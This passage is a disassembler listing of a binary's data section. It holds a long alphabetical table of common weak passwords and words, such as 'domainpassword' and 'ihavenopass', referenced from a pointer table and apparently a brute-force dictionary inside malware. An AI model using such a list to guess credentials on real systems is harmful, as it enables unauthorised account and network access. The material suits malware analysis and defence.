aKerrie		db 'kerrie',0           ; DATA XREF: .text:0042D27Co
		align 4
aKerri		db 'kerri',0            ; DATA XREF: .text:0042D278o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .text:0042D274o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .text:0042D270o
		align 4
aKeri		db 'keri',0             ; DATA XREF: .text:0042D26Co
		align 4
aKelly		db 'kelly',0            ; DATA XREF: .text:0042D268o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .text:0042D264o
aKatina		db 'katina',0           ; DATA XREF: .text:0042D260o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .text:0042D25Co
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .text:0042D258o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: .text:0042D254o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .text:0042D250o
		align 4
aKate		db 'kate',0             ; DATA XREF: .text:0042D24Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: .text:0042D248o
		align 4
aKarina		db 'karina',0           ; DATA XREF: .text:0042D244o
		align 4
aKarie		db 'karie',0            ; DATA XREF: .text:0042D240o
		align 4
aKaren		db 'karen',0            ; DATA XREF: .text:0042D23Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: .text:0042D238o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .text:0042D234o
aJune		db 'june',0             ; DATA XREF: .text:0042D230o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .text:0042D22Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: .text:0042D228o
		align 4
aJulia		db 'julia',0            ; DATA XREF: .text:0042D224o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: .text:0042D220o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .text:0042D21Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: .text:0042D218o
		align 4
aJudith		db 'judith',0           ; DATA XREF: .text:0042D214o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: .text:0042D210o
		align 4
aJoy		db 'joy',0              ; DATA XREF: .text:0042D20Co
aJournal	db 'journal',0          ; DATA XREF: .text:0042D208o
aJoshua		db 'joshua',0           ; DATA XREF: .text:0042D204o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .text:0042D200o
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: .text:0042D1FCo
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .text:0042D1F8o
aJohn		db 'john',0             ; DATA XREF: .text:0042D1F4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .text:0042D1F0o
aJody		db 'jody',0             ; DATA XREF: .text:0042D1ECo
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: .text:0042D1E8o
		align 4
aJoan		db 'joan',0             ; DATA XREF: .text:0042D1E4o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .text:0042D1E0o
		align 4
aJill		db 'jill',0             ; DATA XREF: .text:0042D1DCo
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .text:0042D1D8o
aJester		db 'jester',0           ; DATA XREF: .text:0042D1D4o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .text:0042D1D0o
aJerusale	db 'jerusale',0         ; DATA XREF: .text:0042D1CCo
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .text:0042D1C8o
		align 10h
aJenny		db 'jenny',0            ; DATA XREF: .text:0042D1C4o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .text:0042D1C0o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .text:0042D1BCo
		align 4
aJen		db 'jen',0              ; DATA XREF: .text:0042D1B8o
aJeff		db 'jeff',0             ; DATA XREF: .text:0042D1B4o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .text:0042D1B0o
		align 10h
aJean		db 'jean',0             ; DATA XREF: .text:0042D1ACo
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .text:0042D1A8o
		align 10h
aJava		db 'java',0             ; DATA XREF: .text:0042D1A4o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .text:0042D1A0o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: .text:0042D19Co
		align 4
aJanie		db 'janie',0            ; DATA XREF: .text:0042D198o
		align 10h
aJanice		db 'janice',0           ; DATA XREF: .text:0042D194o
		align 4
aJanet		db 'janet',0            ; DATA XREF: .text:0042D190o
		align 10h
aJane		db 'jane',0             ; DATA XREF: .text:0042D18Co
		align 4
aJail		db 'jail',0             ; DATA XREF: .text:0042D188o
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: .text:0042D184o
		align 4
aIsis		db 'isis',0             ; DATA XREF: .text:0042D180o
		align 10h
aIrule		db 'irule',0            ; DATA XREF: .text:0042D17Co
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: .text:0042D178o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .text:0042D174o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .text:0042D170o
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: .text:0042D16Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: .text:0042D168o
		align 4
aInteger	db 'integer',0          ; DATA XREF: .text:0042D164o
aInside		db 'inside',0           ; DATA XREF: .text:0042D160o
		align 4
aInput		db 'input',0            ; DATA XREF: .text:0042D15Co
		align 4
aInnocuous	db 'innocuous',0        ; DATA XREF: .text:0042D158o
		align 10h
aInnocuou	db 'innocuou',0         ; DATA XREF: .text:0042D154o
		align 4
aInna		db 'inna',0             ; DATA XREF: .text:0042D150o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: .text:0042D14Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: .text:0042D148o
aIngres		db 'ingres',0           ; DATA XREF: .text:0042D144o
		align 4
aIndians	db 'indians',0          ; DATA XREF: .text:0042D140o
aIndiana	db 'indiana',0          ; DATA XREF: .text:0042D13Co
aIndian		db 'indian',0           ; DATA XREF: .text:0042D138o
		align 4
aIndia		db 'india',0            ; DATA XREF: .text:0042D134o
		align 4
aInclude	db 'include',0          ; DATA XREF: .text:0042D130o
aImperial	db 'imperial',0         ; DATA XREF: .text:0042D12Co
		align 10h
aImmortal	db 'immortal',0         ; DATA XREF: .text:0042D128o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: .text:0042D124o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: .text:0042D120o
		align 4
aImage		db 'image',0            ; DATA XREF: .text:0042D11Co
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .text:0042D118o
		align 4
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .text:0042D114o
aIcecream	db 'icecream',0         ; DATA XREF: .text:0042D110o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .text:0042D10Co
aIan		db 'ian',0              ; DATA XREF: .text:0042D108o
aHypertxt	db 'hypertxt',0         ; DATA XREF: .text:0042D104o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .text:0042D100o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: .text:0042D0FCo
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .text:0042D0F8o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .text:0042D0F4o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: .text:0042D0F0o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: .text:0042D0ECo
		align 4
aHq		db 'hq',0               ; DATA XREF: .text:0042D0E8o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: .text:0042D0E4o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .text:0042D0E0o
		align 10h
aHost		db 'host',0             ; DATA XREF: .text:0042D0DCo
		align 4
aHorus		db 'horus',0            ; DATA XREF: .text:0042D0D8o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: .text:0042D0D4o
		align 4
aHorror		db 'horror',0           ; DATA XREF: .text:0042D0D0o
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: .text:0042D0CCo
		align 4
aHorny		db 'horny',0            ; DATA XREF: .text:0042D0C8o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .text:0042D0C4o
aHooker		db 'hooker',0           ; DATA XREF: .text:0042D0C0o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .text:0042D0BCo
		align 4
aHomework	db 'homework',0         ; DATA XREF: .text:0042D0B8o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .text:0042D0B4o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .text:0042D0B0o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: .text:0042D0ACo
		align 4
aHome		db 'home',0             ; DATA XREF: .text:0042D0A8o
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: .text:0042D0A4o
		align 4
aHolly		db 'holly',0            ; DATA XREF: .text:0042D0A0o
		align 4
aHole		db 'hole',0             ; DATA XREF: .text:0042D09Co
		align 4
aHo		db 'ho',0               ; DATA XREF: .text:0042D098o
		align 10h
aHits		db 'hits',0             ; DATA XREF: .text:0042D094o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: .text:0042D090o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: .text:0042D08Co
		align 4
aHigh		db 'high',0             ; DATA XREF: .text:0042D088o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .text:0042D084o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .text:0042D080o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: .text:0042D07Co
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .text:0042D078o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: .text:0042D074o
aHeroin		db 'heroin',0           ; DATA XREF: .text:0042D070o
		align 10h
aHero		db 'hero',0             ; DATA XREF: .text:0042D06Co
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: .text:0042D068o
aHerb		db 'herb',0             ; DATA XREF: .text:0042D064o
		align 4
aHelp		db 'help',0             ; DATA XREF: .text:0042D060o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .text:0042D05Co
		align 4
aHell		db 'hell',0             ; DATA XREF: .text:0042D058o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: .text:0042D054o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .text:0042D050o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .text:0042D04Co
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: .text:0042D048o
		align 4
aHeather	db 'heather',0          ; DATA XREF: .text:0042D044o
aHeathen	db 'heathen',0          ; DATA XREF: .text:0042D040o
aHeat		db 'heat',0             ; DATA XREF: .text:0042D03Co
		align 10h
aHeadoffice	db 'headoffice',0       ; DATA XREF: .text:0042D038o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: .text:0042D034o
		align 4
aHead		db 'head',0             ; DATA XREF: .text:0042D030o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: .text:0042D02Co
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: .text:0042D028o
		align 10h
aHax		db 'hax',0              ; DATA XREF: .text:0042D024o
aHawaii		db 'hawaii',0           ; DATA XREF: .text:0042D020o
		align 4
aHaven		db 'haven',0            ; DATA XREF: .text:0042D01Co
		align 4
aHate		db 'hate',0             ; DATA XREF: .text:0042D018o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .text:0042D014o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .text:0042D010o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .text:0042D00Co
aHarddriv	db 'harddriv',0         ; DATA XREF: .text:0042D008o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: .text:0042D004o
		align 4
aHard		db 'hard',0             ; DATA XREF: .text:0042D000o
		align 4
aHappening	db 'happening',0        ; DATA XREF: .text:0042CFFCo
		align 10h
aHappenin	db 'happenin',0         ; DATA XREF: .text:0042CFF8o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: .text:0042CFF4o
aHandily	db 'handily',0          ; DATA XREF: .text:0042CFF0o
aHandel		db 'handel',0           ; DATA XREF: .text:0042CFECo
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .text:0042CFE8o
aHamlet		db 'hamlet',0           ; DATA XREF: .text:0042CFE4o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .text:0042CFE0o
		align 10h
aHal		db 'hal',0              ; DATA XREF: .text:0042CFDCo
aHair		db 'hair',0             ; DATA XREF: .text:0042CFD8o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .text:0042CFD4o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: .text:0042CFD0o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .text:0042CFCCo
		align 4
aHack		db 'hack',0             ; DATA XREF: .text:0042CFC8o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .text:0042CFC4o
		align 4
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .text:0042CFC0o
		align 10h
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .text:0042CFBCo
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .text:0042CFB8o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .text:0042CFB4o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: .text:0042CFB0o
		align 4
aGuessme	db 'guessme',0          ; DATA XREF: .text:0042CFACo
aGuess		db 'guess',0            ; DATA XREF: .text:0042CFA8o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .text:0042CFA4o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: .text:0042CFA0o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .text:0042CF9Co
aGroup		db 'group',0            ; DATA XREF: .text:0042CF98o
		align 4
aGreen		db 'green',0            ; DATA XREF: .text:0042CF94o
		align 4
aGreat		db 'great',0            ; DATA XREF: .text:0042CF90o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .text:0042CF8Co
		align 4
aGrand		db 'grand',0            ; DATA XREF: .text:0042CF88o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .text:0042CF84o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .text:0042CF80o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .text:0042CF7Co
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .text:0042CF78o
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: .text:0042CF74o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .text:0042CF70o
aGorges		db 'gorges',0           ; DATA XREF: .text:0042CF6Co
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .text:0042CF68o
		align 4
aGood		db 'good',0             ; DATA XREF: .text:0042CF64o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .text:0042CF60o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .text:0042CF5Co
		align 4
aGolden		db 'golden',0           ; DATA XREF: .text:0042CF58o
		align 4
aGold		db 'gold',0             ; DATA XREF: .text:0042CF54o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .text:0042CF50o
aGod		db 'god',0              ; DATA XREF: .text:0042CF4Co
aGobo		db 'gobo',0             ; DATA XREF: .text:0042CF48o
		align 4
aGnu		db 'gnu',0              ; DATA XREF: .text:0042CF44o
aGlen		db 'glen',0             ; DATA XREF: .text:0042CF40o
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: .text:0042CF3Co
aGirl		db 'girl',0             ; DATA XREF: .text:0042CF38o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: .text:0042CF34o
		align 4
aGina		db 'gina',0             ; DATA XREF: .text:0042CF30o
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: .text:0042CF2Co
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .text:0042CF28o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: .text:0042CF24o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: .text:0042CF20o
		align 4
aGerm		db 'germ',0             ; DATA XREF: .text:0042CF1Co
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .text:0042CF18o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .text:0042CF14o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: .text:0042CF10o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .text:0042CF0Co
		align 4
aGateway	db 'gateway',0          ; DATA XREF: .text:0042CF08o
aGarfield	db 'garfield',0         ; DATA XREF: .text:0042CF04o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .text:0042CF00o
aGames		db 'games',0            ; DATA XREF: .text:0042CEFCo
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .text:0042CEF8o
aFungible	db 'fungible',0         ; DATA XREF: .text:0042CEF4o
		align 4
aFunction	db 'function',0         ; DATA XREF: .text:0042CEF0o
		align 4
aFun		db 'fun',0              ; DATA XREF: .text:0042CEECo
aFudge		db 'fudge',0            ; DATA XREF: .text:0042CEE8o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .text:0042CEE4o
aFuckme		db 'fuckme',0           ; DATA XREF: .text:0042CEE0o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .text:0042CEDCo
aFucker		db 'fucker',0           ; DATA XREF: .text:0042CED8o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .text:0042CED4o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .text:0042CED0o
		align 4
aFubar		db 'fubar',0            ; DATA XREF: .text:0042CECCo
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .text:0042CEC8o
		align 4
aFrog		db 'frog',0             ; DATA XREF: .text:0042CEC4o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .text:0042CEC0o
		align 4
aFriends	db 'friends',0          ; DATA XREF: .text:0042CEBCo
aFriend		db 'friend',0           ; DATA XREF: .text:0042CEB8o
		align 4
aFriday		db 'friday',0           ; DATA XREF: .text:0042CEB4o
		align 10h
aFrench		db 'french',0           ; DATA XREF: .text:0042CEB0o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: .text:0042CEACo
aFree		db 'free',0             ; DATA XREF: .text:0042CEA8o
		align 4
aFreddy		db 'freddy',0           ; DATA XREF: .text:0042CEA4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .text:0042CEA0o
		align 4
aFreak		db 'freak',0            ; DATA XREF: .text:0042CE9Co
		align 10h
aFrank		db 'frank',0            ; DATA XREF: .text:0042CE98o
		align 4
aFrance		db 'france',0           ; DATA XREF: .text:0042CE94o
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .text:0042CE90o
aFourier	db 'fourier',0          ; DATA XREF: .text:0042CE8Co
aForsythe	db 'forsythe',0         ; DATA XREF: .text:0042CE88o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .text:0042CE84o
		align 4
aFormat		db 'format',0           ; DATA XREF: .text:0042CE80o
		align 10h
aForm		db 'form',0             ; DATA XREF: .text:0042CE7Co
		align 4
aForever	db 'forever',0          ; DATA XREF: .text:0042CE78o
aForesight	db 'foresight',0        ; DATA XREF: .text:0042CE74o
		align 4
aForesigh	db 'foresigh',0         ; DATA XREF: .text:0042CE70o
		align 4
aFord		db 'ford',0             ; DATA XREF: .text:0042CE6Co
		align 10h
aForce		db 'force',0            ; DATA XREF: .text:0042CE68o
		align 4
aFootball	db 'football',0         ; DATA XREF: .text:0042CE64o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .text:0042CE60o
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: .text:0042CE5Co
		align 4
aFool		db 'fool',0             ; DATA XREF: .text:0042CE58o
		align 4
aFood		db 'food',0             ; DATA XREF: .text:0042CE54o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .text:0042CE50o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .text:0042CE4Co
aFlower		db 'flower',0           ; DATA XREF: .text:0042CE48o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .text:0042CE44o
aFloat		db 'float',0            ; DATA XREF: .text:0042CE40o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .text:0042CE3Co
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .text:0042CE38o
aFish		db 'fish',0             ; DATA XREF: .text:0042CE34o
		align 4
aFirewall	db 'firewall',0         ; DATA XREF: .text:0042CE30o
		align 4
aFire		db 'fire',0             ; DATA XREF: .text:0042CE2Co
		align 10h
aFinite		db 'finite',0           ; DATA XREF: .text:0042CE28o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40CD3A+1C91o
					; sub_40CD3A+1CFCo ...
		align 10h
aFight		db 'fight',0            ; DATA XREF: .text:0042CE20o
		align 4
aField		db 'field',0            ; DATA XREF: .text:0042CE1Co
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: .text:0042CE18o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .text:0042CE14o
aFermat		db 'fermat',0           ; DATA XREF: .text:0042CE10o
		align 4
aFender		db 'fender',0           ; DATA XREF: .text:0042CE0Co
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .text:0042CE08o
aFeds		db 'feds',0             ; DATA XREF: .text:0042CE04o
		align 4
aFear		db 'fear',0             ; DATA XREF: .text:0042CE00o
		align 4
aFast		db 'fast',0             ; DATA XREF: .text:0042CDFCo
		align 4
aFart		db 'fart',0             ; DATA XREF: .text:0042CDF8o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .text:0042CDF4o
aFarad		db 'farad',0            ; DATA XREF: .text:0042CDF0o
		align 4
aFamily		db 'family',0           ; DATA XREF: .text:0042CDECo
		align 4
aFalse		db 'false',0            ; DATA XREF: .text:0042CDE8o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .text:0042CDE4o
		align 4
aFaith		db 'faith',0            ; DATA XREF: .text:0042CDE0o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .text:0042CDDCo
aExtension	db 'extension',0        ; DATA XREF: .text:0042CDD8o
		align 10h
aExtensio	db 'extensio',0         ; DATA XREF: .text:0042CDD4o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .text:0042CDD0o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .text:0042CDCCo
		align 4
aExplore	db 'explore',0          ; DATA XREF: .text:0042CDC8o
aExplode	db 'explode',0          ; DATA XREF: .text:0042CDC4o
aExpert		db 'expert',0           ; DATA XREF: .text:0042CDC0o
		align 4
aExchnge	db 'exchnge',0          ; DATA XREF: .text:0042CDBCo
aExchange	db 'exchange',0         ; DATA XREF: .text:0042CDB8o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: .text:0042CDB4o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: .text:0042CDB0o
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: .text:0042CDACo
		align 4
aEstate		db 'estate',0           ; DATA XREF: .text:0042CDA8o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: .text:0042CDA4o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: .text:0042CDA0o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .text:0042CD9Co
		align 4
aErotic		db 'erotic',0           ; DATA XREF: .text:0042CD98o
		align 4
aErin		db 'erin',0             ; DATA XREF: .text:0042CD94o
		align 4
aErika		db 'erika',0            ; DATA XREF: .text:0042CD90o
		align 4
aErica		db 'erica',0            ; DATA XREF: .text:0042CD8Co
		align 4
aEric		db 'eric',0             ; DATA XREF: .text:0042CD88o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .text:0042CD84o
aEnzyme		db 'enzyme',0           ; DATA XREF: .text:0042CD80o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .text:0042CD7Co
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .text:0042CD78o
		align 4
aEnter		db 'enter',0            ; DATA XREF: .text:0042CD74o
		align 4
aEnglish	db 'english',0          ; DATA XREF: .text:0042CD70o
aEngland	db 'england',0          ; DATA XREF: .text:0042CD6Co
aEngineer	db 'engineer',0         ; DATA XREF: .text:0042CD68o
		align 4
aEngine		db 'engine',0           ; DATA XREF: .text:0042CD64o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: .text:0042CD60o
		align 4
aEnable		db 'enable',0           ; DATA XREF: .text:0042CD5Co
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .text:0042CD58o
		align 4
aEmily		db 'emily',0            ; DATA XREF: .text:0042CD54o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .text:0042CD50o
aEmail		db 'email',0            ; DATA XREF: .text:0042CD4Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .text:0042CD48o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: .text:0042CD44o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .text:0042CD40o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: .text:0042CD3Co
		align 10h
aElectron	db 'electron',0         ; DATA XREF: .text:0042CD38o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: .text:0042CD34o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: .text:0042CD30o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .text:0042CD2Co
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .text:0042CD28o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: .text:0042CD24o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .text:0042CD20o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: .text:0042CD1Co
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .text:0042CD18o
aEdwina		db 'edwina',0           ; DATA XREF: .text:0042CD14o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .text:0042CD10o
		align 4
aEducation	db 'education',0        ; DATA XREF: .text:0042CD0Co
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .text:0042CD08o
		align 4
aEdu		db 'edu',0              ; DATA XREF: .text:0042CD04o
aEdition	db 'edition',0          ; DATA XREF: .text:0042CD00o
aEdit		db 'edit',0             ; DATA XREF: .text:0042CCFCo
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .text:0042CCF8o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .text:0042CCF4o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: .text:0042CCF0o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .text:0042CCECo
		align 10h
aEcho		db 'echo',0             ; DATA XREF: .text:0042CCE8o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .text:0042CCE4o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: .text:0042CCE0o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .text:0042CCDCo
		align 10h
aEarth		db 'earth',0            ; DATA XREF: .text:0042CCD8o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .text:0042CCD4o
		align 10h
aEager		db 'eager',0            ; DATA XREF: .text:0042CCD0o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: .text:0042CCCCo
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: .text:0042CCC8o
aDuncan		db 'duncan',0           ; DATA XREF: .text:0042CCC4o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: .text:0042CCC0o
		align 4
aDuke		db 'duke',0             ; DATA XREF: .text:0042CCBCo
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: .text:0042CCB8o
aDudette	db 'dudette',0          ; DATA XREF: .text:0042CCB4o
aDude		db 'dude',0             ; DATA XREF: .text:0042CCB0o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .text:0042CCACo
		align 10h
aDuck		db 'duck',0             ; DATA XREF: .text:0042CCA8o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .text:0042CCA4o
aDrive		db 'drive',0            ; DATA XREF: .text:0042CCA0o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: .text:0042CC9Co
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: .text:0042CC98o
		align 4
aDownload	db 'download',0         ; DATA XREF: .text:0042CC94o
		align 4
aDos		db 'dos',0              ; DATA XREF: .text:0042CC90o
aDope		db 'dope',0             ; DATA XREF: .text:0042CC8Co
		align 10h
aDoors		db 'doors',0            ; DATA XREF: .text:0042CC88o
		align 4
aDoor		db 'door',0             ; DATA XREF: .text:0042CC84o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .text:0042CC80o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: .text:0042CC7Co
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .text:0042CC78o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: .text:0042CC74o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .text:0042CC70o
		align 10h
aDong		db 'dong',0             ; DATA XREF: .text:0042CC6Co
		align 4
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .text:0042CC68o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .text:0042CC64o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .text:0042CC60o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: .text:0042CC5Co
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .text:0042CC58o
		align 10h
aDog		db 'dog',0              ; DATA XREF: .text:0042CC54o
aDoctor		db 'doctor',0           ; DATA XREF: .text:0042CC50o
		align 4
aDisplay	db 'display',0          ; DATA XREF: .text:0042CC4Co
aDisney		db 'disney',0           ; DATA XREF: .text:0042CC48o
		align 4
